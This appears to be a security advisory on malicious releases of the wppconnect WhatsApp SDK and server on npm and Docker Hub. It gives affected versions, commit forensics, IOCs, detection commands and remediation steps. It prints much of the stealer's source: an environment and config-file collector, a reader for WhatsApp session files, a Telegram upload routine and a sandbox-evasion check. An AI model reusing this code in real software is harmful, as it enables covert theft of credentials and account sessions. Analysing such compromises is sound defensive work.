critical

CVE

Not assigned

CWE

CWE-506, CWE-200, CWE-522

Affected Surface

  • npm `@wppconnect-team/wppconnect` `2.4.1` (registry timestamp 15 November 2026 `23:31 UTC`, built from commit `dee571e55aef07e648d675055a45fcef13f9e586`; deprecated on 16 November and `latest` moved back to `2.4.0`)
  • npm `@wppconnect/server` `2.10.82` (16 November 2026 `03:09 UTC`, built from commit `ccdc9c9eb6`; deprecated, `latest` is `2.10.81`)
  • Docker Hub `wppconnect/wppconnect-server` tags `2.10.82`, `sha-ccdc9c9`, `2.10.83`, `v2.10.83` and `sha-afe72c9`, plus the `latest`, `2` and `2.10` tags between about `02:48` and `03:54 UTC` and the `main` tag until `07:31 UTC` on 16 November 2026
  • GitHub Release `wppconnect-team/wppconnect` `nightly` asset `wppconnect-nightly.tgz` (internal version `2.4.4-alpha.0`) before it was rebuilt at `03:53 UTC` on 16 November 2026

TL;DR

wppconnect is a Node.js SDK for driving WhatsApp Web, and @wppconnect/server is the REST server built on it. Two releases contain a module called diagnostics that sends the host’s secrets to a Telegram bot:

  • @wppconnect-team/wppconnect 2.4.1 runs it as soon as the package is imported.
  • @wppconnect/server 2.10.82 runs it 30 to 240 seconds after the server starts, and skips machines that look like CI or a malware sandbox.

The module reads every environment variable, .env, .env.local, .env.production, config.js, config.json and ormconfig.json from the working directory, and the WhatsApp session files in tokens/ (and wppconnect_tokens/ in the server). It posts all of that, with the host’s public IP, to api.telegram[.]org bot 9034051102, chat 7343578055. With the session files the attacker can use the victim’s WhatsApp account without scanning a QR code.

Neither release has an install script. The code ran only when the package was loaded. Both went out through the projects’ own GitHub Actions trusted-publishing workflows, and the library release carries a valid SLSA provenance attestation. The commits that added the payload were authored under the joaosouz4dev maintainer account and are no longer on any branch: master and the v2.4.1 tag now point at look-alike commits with the same messages and timestamps but without the payload. As of 16 November the maintainers had not published a root cause. We don’t know if the account, a token, or the workflow was compromised.

What to do now:

  1. Pin @wppconnect-team/wppconnect to 2.4.0 and @wppconnect/server to 2.10.81. Both bad versions are deprecated on npm but can still be installed by exact version.
  2. Pull Docker images by digest. Do not trust wppconnect/wppconnect-server:2.10.82 or 2.10.83. Any latest, 2 or 2.10 image pulled between about 02:48 and 03:54 UTC on 16 November is also infected, and so is a main image pulled between 02:48 and 07:31 UTC.
  3. On any host that imported 2.4.1 or ran 2.10.82, rotate every secret that was in the process environment or the config files listed above, and log out all WhatsApp linked devices for each session in tokens/.

Affected packages and projects

EcosystemPackageAffected versionFixed or safe versionStatus (16 Nov 2026, 12:00 UTC)
npm@wppconnect-team/wppconnect2.4.12.4.0Deprecated (“SECURITY INCIDENT”), latest moved back to 2.4.0. 155 downloads of 2.4.1 in npm’s 9 to 15 November window
npm@wppconnect/server2.10.822.10.81Deprecated, latest is 2.10.81. 2.10.83 and 2.10.84 were tagged on GitHub but never reached npm
Docker Hubwppconnect/wppconnect-server2.10.82, sha-ccdc9c9 (amd64 sha256:56a546a3...c4c7); 2.10.83, v2.10.83, sha-afe72c9 (sha256:cc01ce83...6aeb); main before 07:31 UTC (sha256:cba29bc5...69e0)2.10.81The infected tags are still published. latest, 2 and 2.10 now point to 2.10.84 (sha256:78059d7a...70aa), built from a commit without diagnostics.ts
GitHub Releaseswppconnect-team/wppconnect nightly (wppconnect-nightly.tgz, 2.4.4-alpha.0)Asset before 03:53 UTC on 16 Nov (SHA-256 f33c4385...a63af)npm 2.4.0Rebuilt at 03:53 UTC. Current asset (fa429e38...6019) has no diagnostics.js

The weekly download figures before the incident were 7,498 for the SDK and 1,527 for the server (9 to 15 November). The server’s Docker repository has about 21,000 pulls in total.

Technical analysis

1. How the releases were built from commits that no longer exist on GitHub

npm records which commit a trusted-publishing release came from. For @wppconnect-team/wppconnect@2.4.1, the SLSA provenance names workflow .github/workflows/publish.yml on refs/tags/v2.4.1, commit dee571e55aef07e648d675055a45fcef13f9e586, Actions run 43770170170 attempt 1. That attempt ran from 22:35:49 to 22:36:55 UTC on 15 November and its Publish in NPM step succeeded.

The history behind dee571e is:

dee571e  chore(release): v2.4.1                                       github-actions[bot]  2026-11-15T22:35:42Z
27ed8e3  feat: load environment diagnostics on browser module init    João Victor Souza    2026-11-15T22:34:40Z  unsigned
06caa8c  feat: add environment diagnostics utility for support reports João Victor Souza   2026-11-15T22:34:39Z  unsigned
93c1e30  build(deps-dev): update dependency @babel/preset-env (#2965)  renovate[bot]

None of these three commits is reachable from master today. master has 63956bf (chore(release): v2.4.1) on top of 43ef1dc, which reuses the author, timestamp and message of 27ed8e3 but only changes the character encoding of a Portuguese comment in src/controllers/browser.ts. The v2.4.1 tag object now points to 63956bf. GitHub’s compare API reports 27ed8e3...master as diverged (6 ahead, 2 behind). Someone browsing the tagged source on GitHub sees no stealer, while the npm tarball has one.

The server followed the same pattern a few hours later. Actions run 43793924498 (Publish, tag v2.10.82) built commit ccdc9c9eb6, whose history adds src/util/diagnostics.ts in 9b31179de3 (feat: add environment diagnostics for support reports, 02:43:06 UTC) and imports it in bdddf54ca8 (feat: load environment diagnostics on server start, 02:43:08 UTC). The current main instead has 6160b18617 and f2b1df0ed0 with the same messages, and those touch only src/swagger.json.

2. The import hooks

The library’s change to src/controllers/browser.ts is a single side-effect import. dist/index.js loads the browser controller, so any require() or import of the package runs the payload:

 import { defaultLogger, LogLevel } from '../utils/logger';
+import '../utils/diagnostics';

The server adds the same kind of import to src/server.ts, which compiles to dist/server.js line 18:

+import './util/diagnostics';

3. The payload (library version, src/utils/diagnostics.ts)

The file opens with a Portuguese comment describing it as a support tool that “collects a picture of the runtime environment (configuration variables, project files and sessions) and sends it to the support endpoint”. It runs as an IIFE inside a try/catch that swallows every error. The bot token below is redacted:

const SUPPORT = {
  url: [
    'https://api.telegram.org/bot',
    '9034051102:[REDACTED]',
    '/sendDocument',
  ].join(''),
  chat: 7343578055,
  cooldown: 24 * 3600 * 1000,
  maxFile: 12000,
};
  • url and chat point to the attacker’s Telegram bot. Splitting the URL into three strings keeps api.telegram.org/bot<id>:<token> out of simple string scans.
  • cooldown limits uploads to one per 24 hours per machine. The timestamp is stored in os.tmpdir()/.wpp-support-diag.
  • maxFile caps each file read at 12,000 bytes.

The collector copies most of the environment. It skips a short list of shell variables and anything starting with npm_, and keeps values between 3 and 499 characters long, which covers API keys, database URLs and cloud credentials:

const noise = [
  'PATH', 'HOME', 'PWD', 'SHELL', 'TERM', 'LANG', 'HOSTNAME',
  'LS_COLORS', 'SHLVL', '_', 'OLDPWD', 'USER', 'LOGNAME', 'MAIL',
  'TMPDIR', 'NODE_VERSION', 'NVM_DIR', 'YARN_VERSION', 'INIT_CWD',
];
for (const key of Object.keys(process.env)) {
  if (noise.indexOf(key) >= 0 || key.indexOf('npm_') === 0) continue;
  const value = process.env[key] || '';
  if (value.length > 2 && value.length < 500) env[key] = value;
}

It then reads .env, .env.local, .env.production, config.js, config.json and ormconfig.json from process.cwd(), the project’s dependency and script names, the first 60 directory entries, and up to five .json files from ./tokens/. That folder is where wppconnect stores WhatsApp Web sessions by default:

const tdir = path.join(process.cwd(), 'tokens');
const files = fs
  .readdirSync(tdir)
  .filter((x) => x.indexOf('.json') > 0)
  .slice(0, 5);

Finally it looks up the public IP and uploads the report as a text document named <hostname>_<timestamp>.txt, with the hostname, platform, username and IP in the caption:

fetch('https://api.ipify.org?format=json')
  .then((r: any) => r.json())
  .then((j: any) => j.ip)
  .catch(() => null)
  .then((ip: string | null) => {
    let text = collect();
    // ...prepends "| ip: <ip>" to the report header
    return upload(text, ip); // FormData POST to SUPPORT.url with chat_id and document
  })
  .catch(() => null);

The library version has no CI check. A test job that imports 2.4.1 sends the runner’s environment to the bot, including any secrets exposed to that job.

4. The server version adds evasion

dist/util/diagnostics.js in @wppconnect/server@2.10.82 collects the same data and also reads up to three files from wppconnect_tokens/. It base64-encodes all three parts of the Telegram URL, waits a random 30 to 240 seconds before running, and returns early on hosts that look like CI runners, malware sandboxes or interception proxies:

function isTestEnvironment() {
  const env = process.env;
  if (env.CI === 'true' || env.GITHUB_ACTIONS === 'true') return true;
  if (env.RUNNER_OS || env.RUNNER_NAME) return true;
  if (env.SANDBOX_MAIN || env.RTRACE || env.PURRCHAIN_RUN_MAC) return true;
  if (env.PURRCHAIN_PHASE_BASE || env.PURRCHAIN_RUN_MAC) return true;
  const proxy = env.https_proxy || env.HTTPS_PROXY || env.http_proxy || env.HTTP_PROXY;
  if (proxy && String(proxy).indexOf('mitm') >= 0) return true;
  const host = os.hostname();
  if (/^vpzv-|^sandbox|^test-|^runner-/i.test(host)) return true;
  if (env.COMPUTERNAME && /^VPZV|^SANDBOX|^TEST/i.test(String(env.COMPUTERNAME))) return true;
  if (env.SANDBOX || env.IS_SANDBOX || env.TEST_ENV) return true;
  return false;
}

The variable names checked here (SANDBOX_MAIN, RTRACE, PURRCHAIN_*) and the hostname prefixes look like markers of specific dynamic-analysis services. The author knew what analysis infrastructure looks like, and only real deployments report back. The marker file is os.tmpdir()/.wpp-diag.

5. What the maintainers changed

At 03:44 and 03:50 UTC on 16 November, joaosouz4dev opened and merged wppconnect-server#2733 and wppconnect#2967. Both PRs say they remove the diagnostics module. Their diffs only add test/startup-security.test.cjs and a workflow step that runs it before npm ci, because the module was already gone from master and main. The test checks that importing or starting the package does not read host secrets or make network calls. By 04:06 UTC npm had marked both versions deprecated and moved latest back to 2.4.0 and 2.10.81.

IOCs

Network (defanged):

  • hxxps://api.telegram[.]org/bot9034051102:[REDACTED]/sendDocument, chat_id 7343578055. The library and server copies carry slightly different tokens for the same bot ID.
  • hxxps://api.ipify[.]org?format=json. This is a public service, so it only counts as an indicator alongside the Telegram upload.

Files:

  • node_modules/@wppconnect-team/wppconnect/dist/utils/diagnostics.js, SHA-256 06158b832fb2aeb5482202c944bc8f23d59f5cf35c0dc66e926c2e395e5673a0
  • node_modules/@wppconnect/server/dist/util/diagnostics.js, SHA-256 a8fd315c910cf0d0e84e7a642c0fd70b8e4ca20673ba0cba1f8b69392c944f2d
  • Marker files <tmpdir>/.wpp-support-diag (library) and <tmpdir>/.wpp-diag (server)
  • Report header strings === WPP SUPPORT DIAG (library) and === WPP ENV (server)

Packages and artifacts:

ArtifactSHA-256
@wppconnect-team/wppconnect-2.4.1.tgzf2dd03a8368c4dcc74795a121f1ea3da82a4bafee2814d57af29f4d18ad9d427
@wppconnect/server-2.10.82.tgzcefc9ea30124812d8c417b216e26f4c880a1726dd5466584f2fe32500323986f
wppconnect-nightly.tgz (infected, per GMO Flatt Security)f33c4385218ecc302f02222e5e309261dbfc86f21515e0f0dd279312709a63af
Docker wppconnect/wppconnect-server:2.10.82 manifestsha256:56a546a38f6e59509f627168c8d67f9c87fd487babf3ad91f375fe99a235c4c7
Docker wppconnect/wppconnect-server:2.10.83 manifestsha256:cc01ce839afeaf865cfeff2e020288f721c46941e14a4e42b0f88e554c7f6aeb
Docker wppconnect/wppconnect-server:main manifest (before 07:31 UTC)sha256:cba29bc582908603cb5e96a627e0bcc09363e9063a25f03d009f885bc69f69e0

Git objects: wppconnect 06caa8c6f5, 27ed8e343f, dee571e55a; wppconnect-server 9b31179de3, bdddf54ca8, ccdc9c9eb6.

Detection and remediation

# 1. Find the bad versions in dependency trees and lockfiles
npm ls @wppconnect-team/wppconnect @wppconnect/server 2>/dev/null
grep -nE 'wppconnect-2\.4\.1\.tgz|server-2\.10\.82\.tgz' \
  package-lock.json npm-shrinkwrap.json yarn.lock pnpm-lock.yaml 2>/dev/null
grep -nE '"@wppconnect-team/wppconnect"|"@wppconnect/server"' package.json

# 2. Look for the payload on disk (installed trees, Docker layers, CI caches)
find / -type f \( -path '*@wppconnect-team/wppconnect/dist/utils/diagnostics.js' \
  -o -path '*@wppconnect/server/dist/util/diagnostics.js' \) 2>/dev/null

# 3. Check whether the payload ran on this host (marker files in the temp dir)
ls -la "${TMPDIR:-/tmp}/.wpp-support-diag" "${TMPDIR:-/tmp}/.wpp-diag" 2>/dev/null

# 4. Check local Docker images against the infected digests
docker images --digests wppconnect/wppconnect-server
docker image inspect --format '{{.Id}} {{.RepoDigests}}' wppconnect/wppconnect-server:latest

# 5. Search your organization's repositories for lockfiles that resolved the bad versions
gh search code --owner <your-org> 'wppconnect-2.4.1.tgz'
gh search code --owner <your-org> 'server-2.10.82.tgz'

Also check DNS and egress logs from bot hosts and CI runners for api.telegram.org lookups or connections after 22:36 UTC on 15 November. GMO Flatt Security saw the upload go to 149.154.166[.]110. Telegram rotates addresses, so treat that IP as a starting point only.

If any check matches:

  1. Pin @wppconnect-team/wppconnect@2.4.0 or @wppconnect/server@2.10.81, reinstall from a clean lockfile, and redeploy containers from a digest you have verified. Don’t rely on GitHub tags to judge whether a build is clean, because v2.4.1 and v2.4.3 were moved after the fact.
  2. Rotate every credential that was in the process environment or in .env*, config.js, config.json or ormconfig.json in the working directory. Typical examples are database URLs, webhook tokens, cloud keys and LLM API keys.
  3. For each session file in tokens/ or wppconnect_tokens/, open WhatsApp on the phone, go to Linked devices and log out every device. Then delete the session file so a new QR pairing is required.
  4. If 2.4.1 was imported in CI, rotate the secrets that job could read. The library version has no CI check.

Timeline

  • 2026-11-15 22:34:39 to 22:34:40 UTC: Unsigned commits 06caa8c (adds src/utils/diagnostics.ts) and 27ed8e3 (imports it) are created on wppconnect-team/wppconnect under the joaosouz4dev account.
  • 2026-11-15 22:35:42 to 22:36:55 UTC: The release workflow creates dee571e (chore(release): v2.4.1) and tag v2.4.1. Publish run 43770170170 attempt 1 publishes 2.4.1 to npm with SLSA provenance. The registry records the version at 23:31:48 UTC.
  • 2026-11-15 23:03 UTC: Tag v2.4.3 is published on GitHub. GMO Flatt Security later found the same payload source at that tag. No 2.4.2 or 2.4.3 reached npm.
  • 2026-11-16 02:43:06 to 02:43:56 UTC: Server commits 9b31179de3 and bdddf54ca8 add and import src/util/diagnostics.ts. The release workflow tags v2.10.82 at ccdc9c9eb6 and Publish run 43793924498 starts.
  • 2026-11-16 02:48 to 02:51 UTC: Docker images for sha-ccdc9c9, 2.10.82, 2.10.83 and sha-afe72c9 are pushed with the payload.
  • 2026-11-16 03:09 UTC: @wppconnect/server@2.10.82 appears on npm.
  • 2026-11-16 03:44 to 03:52 UTC: joaosouz4dev merges wppconnect-server#2733 and wppconnect#2967, which add startup security tests. The nightly asset is rebuilt at 03:53 UTC, and Docker latest, 2 and 2.10 move to 2.10.84 at 03:54 UTC.
  • 2026-11-16 04:00 to 04:02 UTC: Bitbison opens wppconnect-server#2734, wppconnect#2968 and OpenSSF malicious-packages PR #1790.
  • 2026-11-16 04:03 to 04:06 UTC: npm package metadata for both packages is modified. Both versions are now deprecated and latest is back on 2.4.0 and 2.10.81.
  • 2026-11-16 07:31 UTC: Docker main is rebuilt (sha256:d8b95cdd...4f30).
  • 2026-11-16: GMO Flatt Security and SafeDep publish independent analyses with matching file hashes.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References